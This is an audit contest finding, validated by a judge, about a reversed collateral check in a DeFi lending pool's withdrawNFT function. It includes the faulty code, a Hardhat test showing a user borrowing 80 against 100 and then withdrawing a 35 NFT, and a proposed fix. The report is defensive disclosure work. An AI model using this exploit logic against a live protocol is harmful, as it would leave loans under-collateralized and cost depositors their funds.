Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users can leave under-collateralized loans

Summary

The LendingPool::withdrawNFT function contains improper sanity check for maintaining the loan above liquidation threshold upon a NFT withdrawal, allowing loans to be under-collateralized.

Vulnerability Details

The protocol leverages RWA backed NFTs as collaterals, which are minted via RAACNFT::mint.

Users can simply take loans via the LendingPool::borrow function, which considers the combined deposited NFT value as collateral.

However, the LendingPool::withdrawNFT contains a logical flaw which allows leaving loans under-collaterlized.

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
// . . . Rest of the code . . .
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) { <<@ - // Incorrect check
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
// . . . Rest of the code . . .
}

Hence, this allows a clear breach of liquidation threshold.

Impact

  1. Protocol would be insolvent due to the ability to have borrowed more than the collateral provided.

  2. Breach of liquidation thershold.

  3. Loss of funds for the depositors.

Proof of Concept

Add the following test case inside the LendingPool.test.js file:

describe("Incorrect WithdrawNFT implementation", function () {
beforeEach(async function () {
await raacHousePrices.setHousePrice(2, ethers.parseEther("65"));
await raacHousePrices.setHousePrice(3, ethers.parseEther("35"));
// approve
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("1000"));
await raacNFT.connect(user1).mint(2, ethers.parseEther("66"));
await raacNFT.connect(user1).mint(3, ethers.parseEther("36"));
// User1 deposits 2 NFTs
let tokenId = 2;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
tokenId = 3;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
// Total collateral value of user1 is 100 crvUSD
});
it("Leave loan undercollateralized", async function () {
// Borrow 80 crvUSD which is equivalent to 80% LTV
const borrowAmount = ethers.parseEther("80");
await lendingPool.connect(user1).borrow(borrowAmount);
// we withdraw the NFT whose collateral value is 35 crvUSD
// This would leave 100 - 35 = 65 crvUSD as collateral value of the remaining NFT that user1 deposited
// But the user borrowed of value 80 crvUSD, which is more than the remaining collateral value
// Hence, we can conclude that the loan is under-collateralized
await lendingPool.connect(user1).withdrawNFT(3);
});
});

The above test case shows how we can keep the loan under-collaterlized.

Tools Used

Manual Review
/
Hardhat

Recommendations

It is recommended to implement the threshold upon the collateral instead of the user debt, a suggested correction would be:

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
// . . . Rest of the code . . .
if (userDebt < (collateralValue - nftValue).percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
// . . . Rest of the code . . .
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!